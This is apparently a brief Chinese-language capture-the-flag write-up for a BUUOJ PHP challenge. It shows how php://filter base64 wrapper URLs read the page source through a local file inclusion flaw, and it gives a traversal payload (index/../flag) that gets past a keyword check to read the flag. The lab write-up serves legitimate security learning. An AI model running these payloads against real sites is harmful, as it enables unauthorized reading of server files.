点击woofers跳转到http://d1fd58aa-be0f-421b-b717-98a7ab62574f.node5.buuoj.cn:81/index.php?category=woofers

题型应该是SQL注入或者文件读取

每次点击woofers按钮都是不同的图片，应该不是通过查询获取图片，大概率是文件包含

http://d1fd58aa-be0f-421b-b717-98a7ab62574f.node5.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index

伪协议base64编码读出index，这里不能加.php后缀，不然读不出

解出源码

              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

$file传参必须有woofers或meowers或index才能包含

http://d1fd58aa-be0f-421b-b717-98a7ab62574f.node5.buuoj.cn:81/index.php?category=php://filter/convert.base64-encode/resource=index/../flag